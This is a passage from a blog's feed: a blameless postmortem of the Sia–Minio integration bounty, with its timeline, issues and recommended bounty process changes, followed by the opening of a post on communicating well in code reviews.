&lt;p>&lt;a href="https://sia.tech/">Sia&lt;/a> is a decentralized cloud storage technology. I&amp;rsquo;ve &lt;a href="https://mtlynch.io/tags/sia">written about it before&lt;/a>, as it&amp;rsquo;s one of my favorite technologies. &lt;a href="https://minio.io/">Minio&lt;/a> is an open-source S3-compatible file server. The integration between the two means that users can now back data up to the Sia network using any backup software compatible with Amazon S3.&lt;/p>
&lt;p>This integration is a Big Deal, and I&amp;rsquo;m planning to write a lot more about once the software stablizes following Sia&amp;rsquo;s December release. In the meantime, I saw a valuable opportunity to lead a postmortem on the integration process. I approached the Nebulous Labs team, and they liked the idea. I contacted the author of the Sia-Minio integration code, who was supportive as well and agreed to contribute to the report with me. The Nebulous Labs and Minio teams reviewed it and approved it for publication, so you can find our full report below:&lt;/p>
&lt;hr>
&lt;h2 id="minio-integration-bounty-postmortem">Minio Integration Bounty Postmortem&lt;/h2>
&lt;h3 id="nebulous-labs-incident-1">Nebulous Labs Incident #1&lt;/h3>
&lt;p>&lt;strong>Date&lt;/strong>: 2017-12-01&lt;/p>
&lt;p>&lt;strong>Authors&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Michael Lynch - @mtlynch - Sia blogger and /r/siacoin moderator.&lt;/li>
&lt;li>David Gore - @dvstate - Developer, Bounty winner&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Reviewers&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>David Vorick - @taek42 - Lead Developer, Nebulous Labs&lt;/li>
&lt;li>Zach Herbert - @zherbert - VP of Operations, Nebulous Labs&lt;/li>
&lt;li>@harshavardhana - Minio maintainer&lt;/li>
&lt;/ul>
&lt;h2 id="background-what-is-a-postmortem">Background: What is a Postmortem?&lt;/h2>
&lt;p>A postmortem is an exercise to learn from a recent experience that did not go according to plan.&lt;/p>
&lt;p>Postmortems are blame-free: we are identifying problems in our &lt;em>processes&lt;/em> that led to bad outcomes. We are not attempting to identify or shame &lt;em>people&lt;/em>. It is assumed that all people who participated in the event under discussion are competent and well-intentioned.&lt;/p>
&lt;p>See &lt;a href="https://landing.google.com/sre/book/chapters/postmortem-culture.html">“Postmortem Culture: Learning from Failure”&lt;/a> from the SRE book for more details.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>On July 19th, Nebulous Labs announced a 300,000 SC bounty for a working Sia integration with Minio, an open-source S3-compatible file server. Developer David Gore (@dvstate) published a proof of concept five days later, and was awarded the full prize less than 10 days after that.&lt;/p>
&lt;p>It took an additional three months for the integration to be merged into the Minio repository. Getting the code accepted into Minio required a complete re-architecting of the code and significant work by @dvstate that was not officially compensated by the bounty.&lt;/p>
&lt;p>The integration works, but completion required adding several limitations not anticipated in the bounty:&lt;/p>
&lt;ul>
&lt;li>Supports only a limited whitelist of filename characters, more restrictive than what Sia allows.&lt;/li>
&lt;li>Does not support multipart file transfers.&lt;/li>
&lt;li>Only two trivial functions have automated test coverage.&lt;/li>
&lt;/ul>
&lt;h2 id="impact">Impact&lt;/h2>
&lt;p>The most significant impact of these events was that integration with a key partner was delayed by several months. Sia gaining S3 compatibility is a huge milestone, but it feels like we lost the “oomph” of the achievement due to how drawn out the process was.&lt;/p>
&lt;p>Bumps in this process projected negative perceptions of Sia:&lt;/p>
&lt;ul>
&lt;li>Integrating with Sia is difficult and requires duplication of effort, even in Go, Sia’s native language.&lt;/li>
&lt;li>Completing a Sia bounty is difficult because the acceptance criteria is unclear.&lt;/li>
&lt;/ul>
&lt;h2 id="lessons-learned">Lessons Learned&lt;/h2>
&lt;h3 id="what-went-well">What went well&lt;/h3>
&lt;ul>
&lt;li>Sia was successfully integrated into Minio.&lt;/li>
&lt;li>Sia community members participated in testing the Minio integration in different scenarios using a variety of S3 clients.&lt;/li>
&lt;/ul>
&lt;h3 id="what-went-wrong">What went wrong&lt;/h3>
&lt;ul>
&lt;li>Miscommunications about features and requirements led to several rewrites of the integration.&lt;/li>
&lt;li>There was long latency (in some cases, weeks) between reviews from Minio maintainers and updates to the PR.&lt;/li>
&lt;li>@dvstate had to spend a nontrivial amount of time resolving merge conflicts due to changes to Minio’s codebase while the Sia integration PR was in-flight.&lt;/li>
&lt;/ul>
&lt;h3 id="where-we-got-lucky">Where we got lucky&lt;/h3>
&lt;ul>
&lt;li>@dvstate volunteered his time to work on the integration for months after Nebulous paid the bounty.&lt;/li>
&lt;li>@dvstate voluntarily launched, configured, and funded a Sia test server for Minio to use for testing.&lt;/li>
&lt;li>Minio maintainers were generous with their time and continued reviewing the same PR for several months.&lt;/li>
&lt;/ul>
&lt;h2 id="timeline">Timeline&lt;/h2>
&lt;ul>
&lt;li>2017-07-19: Nebulous Labs &lt;a href="https://archive.is/FHHBf">announces a series of Sia bounties&lt;/a>, starting with a bounty for &lt;a href="https://github.com/NebulousLabs/Sia/issues/2155">integrating Sia with Minio&lt;/a>.&lt;/li>
&lt;li>2017-07-24: @dvstate &lt;a href="https://github.com/NebulousLabs/Sia/issues/2155#issuecomment-317488613">publishes proof of concept integration&lt;/a>.&lt;/li>
&lt;li>2017-08-03: Nebulous Labs &lt;a href="https://archive.is/Ra4Y9">awards @dvstate the full bounty&lt;/a>.&lt;/li>
&lt;li>2017-08-09: @dvstate &lt;a href="https://github.com/minio/minio/pull/4802">makes the first PR&lt;/a> for the Sia integration into the Minio source.&lt;/li>
&lt;li>2017-08-09: @harshavardhana &lt;a href="https://github.com/minio/minio/pull/4802#discussion_r132325301">requests&lt;/a> @dvstate rewrite the PR to use BoltDB instead of SQLite.&lt;/li>
&lt;li>2017-08-13: @harshavardhana &lt;a href="https://github.com/NebulousLabs/Sia/issues/2155#issuecomment-322053440">agrees to accept&lt;/a> Sia-Minio integration.&lt;/li>
&lt;li>2017-08-16: @dvstate completes the BoltDB re-write.&lt;/li>
&lt;li>2017-08-28: During code review, @harshavardhana &lt;a href="https://github.com/minio/minio/pull/4802#discussion_r135440426">requests&lt;/a> that @dvstate remove the database altogether and rewrite the PR without a caching layer.&lt;/li>
&lt;li>2017-09-26: After several weeks of inactivity on the PR, &lt;a href="https://github.com/minio/minio/pull/4802#issuecomment-332280393">@zherbert&lt;/a> and &lt;a href="https://github.com/minio/minio/pull/4802#issuecomment-332361976">@mtlynch&lt;/a> request a status update.&lt;/li>
&lt;li>2017-10-19: @dvstate &lt;a href="https://github.com/minio/minio/pull/4802#issuecomment-338083575">completes&lt;/a> a rewrite of the PR that removes the caching layer.&lt;/li>
&lt;li>2017-10-24: @harshavardhana sends a patch to @dvstate.&lt;/li>
&lt;li>2017-10-25: @dvstate closes the original PR and &lt;a href="https://github.com/minio/minio/pull/5114">starts a new one&lt;/a> to address Minio’s requests and integrate @harshavardhana’s patch.&lt;/li>
&lt;li>2017-10-26 - 2017-11-21: @dvstate provisions and funds a Sia-Minio testing node and provides access to @harshavardhana. The two manually test the integration using the Minio web app, s3cmd, and the mc command line tool.&lt;/li>
&lt;li>2017-11-22: &lt;a href="https://github.com/minio/minio/pull/5114">Minio PR&lt;/a> is merged.&lt;/li>
&lt;/ul>
&lt;h2 id="issues-observed">Issues Observed&lt;/h2>
&lt;h3 id="unclear-requirements">Unclear requirements&lt;/h3>
&lt;p>The bounty description left many of the details of the Sia-Minio integration undefined. It specified that “users must be able to use the Minio client to upload/download Sia files,” but didn’t mention any restrictions or requirements from the Minio maintainers.&lt;/p>
&lt;p>In addition, several Sia users contacted @dvstate through the #bounties channel of the Sia slack or through private messages to request features. Because there was no authoritative definition of the requirements, @dvstate implemented these additional features for fear that ignoring them would risk forfeiting the bounty award.&lt;/p>
&lt;p>As a result, there was confusion between @dvstate, the Minio maintainers, and Sia users about the following issues:&lt;/p>
&lt;ul>
&lt;li>Which third-party libraries were acceptable&lt;/li>
&lt;li>Whether the Sia integration is allowed to maintain a cache on the filesystem to preserve state information and metadata&lt;/li>
&lt;li>Whether the Sia integration must implement multipart file transfers&lt;/li>
&lt;li>Whether the Sia integration must support bucket policy settings&lt;/li>
&lt;li>Which S3 client applications required support (e.g., mc, s3cmd)&lt;/li>
&lt;li>What degree of manual testing is required to demonstrate working functionality&lt;/li>
&lt;li>How many Sia-specific environment variables the Sia integration is allowed to use&lt;/li>
&lt;li>How much test coverage is required&lt;/li>
&lt;li>What changes to Minio UI are required/allowed&lt;/li>
&lt;li>What changes to Minio documentation are required&lt;/li>
&lt;/ul>
&lt;p>@dvstate ended up writing three drastically different versions of the integration in response to requirements from the Minio maintainers that were not specified in the original bounty description (&lt;a href="https://github.com/NebulousLabs/Sia/issues/2155#issuecomment-317488613">first&lt;/a>, &lt;a href="https://github.com/NebulousLabs/Sia/issues/2155#issuecomment-317625360">second&lt;/a>, &lt;a href="https://github.com/minio/minio/pull/5114">third&lt;/a>).&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>For future Sia bounties, work with third-party maintainers to establish requirements up front and include these in the bounty award criteria.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Establish an objective acceptance test for the bounty. For example:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>A server is provisioned with siad with 500 SC in allowance.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Client launches minio using the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">MINIO_ACCESS_KEY&lt;/span>=minioaccesskey
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">MINIO_SECRET_KEY&lt;/span>=miniosecretkey
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./minio gateway sia
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;li>
&lt;p>A client machine has 100 files varying in size from 1 KB to 10 GB, totaling no more than 4 TB in a folder &lt;code>~/test-data&lt;/code>. The files include nested folders with a folder depth of at most 3.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Client machine runs the following commands successfully:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SERVER&lt;/span>=insert.server.hostname &lt;span style="color:#999;font-style:italic"># replace with actual server&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mc config host add minio-sia &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;http://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SERVER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> minioaccesskey miniosecretkey S3v4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mc mb minio-sia/sia-test-bucket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Upload test files.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mc cp --recursive ~/test-data/&lt;span style="color:#ed9d13">\*&lt;/span> minio-sia/sia-test-bucket/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Download test files.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mc cp --recursive &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> minio-sia/sia-test-bucket/* ~/test-data-downloaded/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;li>
&lt;p>SHA-1 hashes of downloaded files match the SHA-1 hashes of the original files&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>If ambiguities are discovered in a bounty announcement, continue updating it throughout the contest run with a changelog indicating what changed.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Make it clear that the bounty issue tracker is the authoritative source for requirements of winning the bounty.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Bounty contestants do not need to satisfy requests that appear outside of the official bounty tracker.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="bounty-paid-based-on-proof-of-concept-rather-than-successful-integration">Bounty paid based on proof of concept rather than successful integration&lt;/h3>
&lt;p>Nebulous awarded the bounty after a review by the Sia core devs, but before approval from the Minio maintainers. The true goal of the bounty was integration into Minio’s repository, otherwise users would be reluctant to deploy code from @dvstate’s unmaintained fork.&lt;/p>
&lt;p>Sia was fortunate that @dvstate continued working on the PR long after his responsibilities ended, but completion of the bounty’s true goals should not depend on the goodwill of the bounty recipient.&lt;/p>
&lt;p>Before the bounty was awarded, there was a sense of urgency to win the prize - requested changes were implemented within hours or days. After it was awarded, latency increased to weeks.&lt;/p>
&lt;p>This is expected and reasonable, as @dvstate was working on a volunteer, best-effort basis. Sia was lucky to receive any latency &amp;lt; infinity.&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pay out bounty based on successful integration rather than proof of concept.&lt;/li>
&lt;li>Make successful merge into the target repository an explicit requirement of future bounties.&lt;/li>
&lt;/ul>
&lt;h3 id="minio-integration-duplicates-logic-from-siac-command-line-client">Minio integration duplicates logic from siac command-line client&lt;/h3>
&lt;p>30-40% of the Minio &lt;a href="https://github.com/minio/minio/blob/f4d4ea5c36e59baad9c4b1c98ba6d320f8c90b20/cmd/gateway-sia.go">integration code&lt;/a> is just logic to implement the Sia API. This duplicates code that already exists in the &lt;a href="https://github.com/NebulousLabs/Sia">Sia core repo&lt;/a>, as the &lt;code>siac&lt;/code> command-line client implements identical functionality.&lt;/p>
&lt;p>There are no official Sia API bindings for any language, including Go, Sia’s native language.&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Create an official Go client library for the Sia API. Make &lt;code>siac&lt;/code> the reference client for this library. Refactor the Minio integration to use this library.&lt;/li>
&lt;li>For future bounties that require non-Go code, require that the submission create a library for implementing the necessary Sia API features. This library should be independent of the application-specific code.&lt;/li>
&lt;/ul>
&lt;h3 id="minio-integration-has-negligible-test-coverage">Minio integration has negligible test coverage&lt;/h3>
&lt;p>Only two trivial functions have test coverage, making it difficult to detect if changes to the Sia Minio code break will Minio functionality.&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Make automated tests a requirement of future Sia bounties.&lt;/li>
&lt;/ul>
&lt;h3 id="information-siloing-during-review">Information siloing during review&lt;/h3>
&lt;p>Key discussions about required changes to the PR happened privately. Nobody outside of @dvstate or @harshavardhana could track progress or help move the PR forward.&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pay out bounty based on successful integration rather than proof of concept.&lt;/li>
&lt;li>Require discussion to happen in a central location (e.g., the Github issue for the bounty) so that all bounty applicants have access to the same information.&lt;/li>
&lt;/ul>
&lt;h3 id="first-to-complete-bounties-create-perverse-incentives">“First to complete” bounties create perverse incentives&lt;/h3>
&lt;p>The bounty program &lt;a href="https://archive.is/FHHBf">rules&lt;/a> state:&lt;/p>
&lt;blockquote>
&lt;p>A bounty will only be paid once to one submission and, unless specified otherwise, it will be paid to the first individual or team to meet ALL the criteria set out for the bounty.&lt;/p>&lt;/blockquote>
&lt;p>This incentivizes bounty submitters to optimize their solution to minimize implementation cost and consequently disincentivizes spending time on readability, maintainability, or clear documentation.&lt;/p>
&lt;p>In the case of the Minio integration, the code does have thorough documentation, but is lacking tests and mixes Sia logic with Minio logic, which may create challenges for future maintainability.&lt;/p>
&lt;p>This system also disincentivizes collaboration or improvement. If a developer publishes a solution, no other developers have incentive to attempt a solution because the bounty will likely go to the first submitter. There is no path for improving upon another applicant’s submission because the rules don’t cover that scenario.&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Use an indiscriminate “submission window”&lt;/li>
&lt;li>Specify a window during which submission speed does not matter (e.g., all submissions received in the first two weeks of the bounty contest are treated equally).&lt;/li>
&lt;li>Applicants can submit early, but others are allowed to fork and improve their work (would have to be substantial improvements, not just renaming some symbols). In this case, bounty is split between the contributing developers at Nebulous’ discretion.&lt;/li>
&lt;li>After the initial submission window ends, award goes to first valid submission.&lt;/li>
&lt;/ul>
&lt;h3 id="difficulty-of-third-party-validation">Difficulty of Third-Party Validation&lt;/h3>
&lt;p>The Minio team had no prior experience with Sia. Before Minio was comfortable merging the PR, @dvstate had to provision a test server at his own expense and work with Minio maintainers on a previously unannounced series of manual validation steps.&lt;/p>
&lt;p>&lt;strong>&lt;em>Recommended action items&lt;/em>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>For future bounties for third-party integrations, bounty organizers take responsibility for validating solutions and working with third-party partners to help them validate.&lt;/li>
&lt;li>Establish an objective acceptance test for the bounty. (See &lt;a href="#unclear-requirements">“Unclear requirements”&lt;/a>).&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Do Code Reviews Like a Human (Part Two)</title><link>https://mtlynch.io/human-code-reviews-2/</link><pubDate>Thu, 09 Nov 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/human-code-reviews-2/</guid><description>&lt;div class="img" style="max-width: 1024px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/cover-part-two.png">
 &lt;img
 
 sizes="(min-width: 768px) 1024px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/cover-part-two_hu_7f2047594a67fff3.png 300w, https://mtlynch.io/human-code-reviews-2/cover-part-two_hu_adc896f9cf2e9987.png 600w, https://mtlynch.io/human-code-reviews-2/cover-part-two_hu_a43f03ef6bb356bb.png 800w, https://mtlynch.io/human-code-reviews-2/cover-part-two.png 1024w'
 src="https://mtlynch.io/human-code-reviews-2/cover-part-two.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This is the second half of my article about how to communicate well and avoid pitfalls in code reviews. Here, I focus on techniques to bring your code review to a successful close while avoiding ugly conflict.&lt;/p>
&lt;p>I laid the groundwork in &lt;a href="https://mtlynch.io/human-code-reviews-1/">Part One&lt;/a>, so I recommend starting there. If you&amp;rsquo;re impatient, here&amp;rsquo;s the short version: a good code reviewer not only finds bugs but provides conscientious feedback to help their teammates improve.&lt;/p></description><content:encoded>



















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1024px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/cover-part-two.png">
 &lt;img
 
 sizes="(min-width: 768px) 1024px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/cover-part-two_hu_7f2047594a67fff3.png 300w, https://mtlynch.io/human-code-reviews-2/cover-part-two_hu_adc896f9cf2e9987.png 600w, https://mtlynch.io/human-code-reviews-2/cover-part-two_hu_a43f03ef6bb356bb.png 800w, https://mtlynch.io/human-code-reviews-2/cover-part-two.png 1024w'
 src="https://mtlynch.io/human-code-reviews-2/cover-part-two.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This is the second half of my article about how to communicate well and avoid pitfalls in code reviews. Here, I focus on techniques to bring your code review to a successful close while avoiding ugly conflict.&lt;/p>
&lt;p>I laid the groundwork in &lt;a href="https://mtlynch.io/human-code-reviews-1/">Part One&lt;/a>, so I recommend starting there. If you&amp;rsquo;re impatient, here&amp;rsquo;s the short version: a good code reviewer not only finds bugs but provides conscientious feedback to help their teammates improve.&lt;/p>
&lt;h2 id="my-worst-code-review">My worst code review&lt;/h2>
&lt;p>The worst code review of my life was for a former teammate I&amp;rsquo;ll call Mallory. She started at the company several years before I joined but had only recently transferred to my team.&lt;/p>
&lt;h3 id="the-review">The review&lt;/h3>
&lt;p>When Mallory sent me her first changelist for review, the code was a bit rough. She had never written Python before, and she was building on top of a clunky, legacy system that I maintained.&lt;/p>
&lt;p>I dutifully recorded all of the issues I spotted, 59 in total. According to the review literature I&amp;rsquo;d read, I had done a great job. I found SO many mistakes. Therefore, I must be a good reviewer.&lt;/p>
&lt;p>A few days later, Mallory sent me the updated changelist and her responses to my notes. She had fixed the simple issues: typos, variable renames, etc. But she refused to address the higher-level problems, such as the fact that her code had undefined behavior for malformed input or that one of her functions nested control-flow structures six layers deep. Instead, she explained dismissively that these issues were not worth the engineering time to fix.&lt;/p>
&lt;p>Angry and frustrated, I sent a new round of notes. My tone was professional but meandering into the realm of passive-aggressive. &amp;ldquo;Can you explain &lt;em>why&lt;/em> we want undefined behavior for malformed input?&amp;rdquo; As you might guess, Mallory&amp;rsquo;s replies became even more obstinate.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2000px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/boulder.png">
 &lt;img
 
 sizes="(min-width: 768px) 2000px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/boulder_hu_d5f1ce4ab396ca2.png 300w, https://mtlynch.io/human-code-reviews-2/boulder_hu_eddb95eecee1be39.png 600w, https://mtlynch.io/human-code-reviews-2/boulder_hu_8a2c4777052912a6.png 800w, https://mtlynch.io/human-code-reviews-2/boulder_hu_6b091832c9bfd3b1.png 1200w, https://mtlynch.io/human-code-reviews-2/boulder.png 2000w'
 src="https://mtlynch.io/human-code-reviews-2/boulder.png" alt="Pushing the code review boulder back and forth" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="a-bitter-cycle">A bitter cycle&lt;/h3>
&lt;p>It was Tuesday, a week later. Mallory and I were still going back and forth on the same review. I had sent her my latest notes the evening before. I purposely withheld them until she left for the day because I didn&amp;rsquo;t want to be in the same room when she read them.&lt;/p>
&lt;p>All morning, I felt a sinking weight in the pit of my stomach as I dreaded the next round of review. I came back from lunch to see that Mallory was away from her desk but had sent me new changes. I guess she didn&amp;rsquo;t want to be around to see me read her replies either.&lt;/p>
&lt;p>My heart began pounding in my chest as I grew more infuriated by each of her responses. I immediately started hammering my keyboard with rebuttals, pointing out that she had neither made my suggested changes nor offered justification for me to approve.&lt;/p>
&lt;p>We repeated this routine every day for three weeks. The code barely changed.&lt;/p>
&lt;h3 id="intervention">Intervention&lt;/h3>
&lt;p>Our most senior teammate, Bob, thankfully broke this cycle. He returned from a long vacation, alarmed to find us bitterly flinging code review notes back and forth. He immediately recognized the situation for what it was: a stalemate. He requested to take over the review, and we both agreed.&lt;/p>
&lt;p>Bob began his review by asking Mallory to create new changelists, splitting off two small libraries that we had never really fought about, each about 30-50 lines. Once Mallory did that, Bob instantly approved them.&lt;/p>
&lt;p>Then, Bob came back to the main changelist, which was trimmed down to about 200 lines of code. He made a few small suggestions, which Mallory addressed. Then, he approved the changelist.&lt;/p>
&lt;p>Bob&amp;rsquo;s entire review was done in two days.&lt;/p>
&lt;h3 id="communication-matters">Communication matters&lt;/h3>
&lt;p>You may have deduced that this conflict wasn&amp;rsquo;t really about the code. It had legitimate issues, but they were clearly solvable by teammates who could communicate effectively.&lt;/p>
&lt;p>It was an unpleasant experience, but one I&amp;rsquo;m glad for in retrospect. It caused me to reevaluate my approach to reviews and identify areas for improvement.&lt;/p>
&lt;p>Below, I share techniques that will reduce your risk of a similarly undesirable outcome. I&amp;rsquo;ll return to Mallory later and explain why my original approach was backward and why Bob&amp;rsquo;s was quietly brilliant.&lt;/p>
&lt;h2 id="techniques">Techniques&lt;/h2>
&lt;ol>
&lt;li>&lt;a href="#aim-to-bring-the-code-up-a-letter-grade-or-two">Aim to bring the code up a letter grade or two&lt;/a>&lt;/li>
&lt;li>&lt;a href="#limit-feedback-on-repeated-patterns">Limit feedback on repeated patterns&lt;/a>&lt;/li>
&lt;li>&lt;a href="#respect-the-scope-of-the-review">Respect the scope of the review&lt;/a>&lt;/li>
&lt;li>&lt;a href="#look-for-opportunities-to-split-up-large-reviews">Look for opportunities to split up large reviews&lt;/a>&lt;/li>
&lt;li>&lt;a href="#offer-sincere-praise">Offer sincere praise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#grant-approval-when-remaining-fixes-are-trivial">Grant approval when remaining fixes are trivial&lt;/a>&lt;/li>
&lt;li>&lt;a href="#handle-stalemates-proactively">Handle stalemates proactively&lt;/a>&lt;/li>
&lt;/ol>
&lt;h3 id="aim-to-bring-the-code-up-a-letter-grade-or-two">Aim to bring the code up a letter grade or two&lt;/h3>
&lt;p>While your teammate might, in &lt;em>theory&lt;/em>, want to explore every opportunity to improve their code, their patience is finite. They&amp;rsquo;ll quickly grow frustrated if you withhold approval round after round because you keep thinking of new and brilliant ways for them to polish their changelist.&lt;/p>
&lt;p>I privately think of the code in terms of letter grades, from A to F. When I receive a changelist that starts at a D, I try to help the author bring it to a C or a B-. Not perfect, but good enough.&lt;/p>
&lt;p>It&amp;rsquo;s possible, in theory, to bring a D up to an A+, but it will probably take upwards of eight rounds of review. By the end, the author will hate you and never want to send you code again.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2400px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/letter-grade.png">
 &lt;img
 
 sizes="(min-width: 768px) 2400px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/letter-grade_hu_9968da63623a3634.png 300w, https://mtlynch.io/human-code-reviews-2/letter-grade_hu_a35cf8b935394d7c.png 600w, https://mtlynch.io/human-code-reviews-2/letter-grade_hu_671779d61bcf3e4e.png 800w, https://mtlynch.io/human-code-reviews-2/letter-grade_hu_d6ec08f44a38c982.png 1200w, https://mtlynch.io/human-code-reviews-2/letter-grade.png 2400w'
 src="https://mtlynch.io/human-code-reviews-2/letter-grade.png" alt="Reviewer helping author bring paper up by a letter grade" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You might be thinking, &amp;ldquo;If I accept C-grade code, won&amp;rsquo;t I end up with a C-grade codebase?&amp;rdquo; Fortunately, no. I find that when I help a teammate go from a D to a C, the next changelist they send me will &lt;em>start&lt;/em> at a C. Within a few months, they&amp;rsquo;re sending me reviews that begin as Bs, which become As by the end of the review.&lt;/p>
&lt;p>An F is reserved for code that is either functionally incorrect or so convoluted that you don&amp;rsquo;t have confidence in its correctness. The only reason you should withhold approval is if the code remains at an F after a few rounds of review. See the section on &lt;a href="#handle-stalemates-proactively">stalemates&lt;/a>, below.&lt;/p>
&lt;h3 id="limit-feedback-on-repeated-patterns">Limit feedback on repeated patterns&lt;/h3>
&lt;p>When you notice that several of the author&amp;rsquo;s mistakes fit the same pattern, don&amp;rsquo;t flag every single instance. You don&amp;rsquo;t want to spend your time writing the same note 25 times, and the author certainly doesn&amp;rsquo;t want to read 25 duplicate notes.&lt;/p>
&lt;p>It&amp;rsquo;s fine to call out two or three separate instances of a pattern. For anything more than that, just ask the author to fix the pattern rather than each particular occurrence.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 787px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/instance-variables.png">
 &lt;img
 
 sizes="(min-width: 768px) 787px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/instance-variables_hu_3fa185a62d7510bd.png 300w, https://mtlynch.io/human-code-reviews-2/instance-variables_hu_47a80126c3d8eea9.png 600w, https://mtlynch.io/human-code-reviews-2/instance-variables.png 787w'
 src="https://mtlynch.io/human-code-reviews-2/instance-variables.png" alt="Example of pointing out repeated pattern" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="respect-the-scope-of-the-review">Respect the scope of the review&lt;/h3>
&lt;p>There&amp;rsquo;s an anti-pattern I see frequently where the reviewer identifies something &lt;em>near&lt;/em> code in the changelist and asks the author to fix it. Once the author complies, the reviewer usually realizes that the code is better but inconsistent, so it needs a few more minor changes. And then a few more. And on and on until a narrowly-scoped changelist has expanded to include lots of unrelated churn.&lt;/p>













 








 
 
 







&lt;div class="img align-right" style="max-width: 240px">



 &lt;a href="https://mtlynch.io/human-code-reviews-2/if-you-give-a-mouse-a-cookie.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 240px, 98vw"
 srcset='https://mtlynch.io/human-code-reviews-2/if-you-give-a-mouse-a-cookie_hu_c3b52381ebd3a272.jpg 300w, https://mtlynch.io/human-code-reviews-2/if-you-give-a-mouse-a-cookie.jpg 445w'
 src="https://mtlynch.io/human-code-reviews-2/if-you-give-a-mouse-a-cookie.jpg" alt="If You Give a Mouse a Cookie" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;blockquote>
&lt;p>If a hungry little mouse shows up on your doorstep, you might want to give him a cookie. And if you give him a cookie, he&amp;rsquo;ll ask for a glass of milk. He&amp;rsquo;ll want to look in a mirror to make sure he doesn&amp;rsquo;t have a milk mustache, and then he&amp;rsquo;ll ask for a pair of scissors to give himself a trim&amp;hellip;&lt;/p>
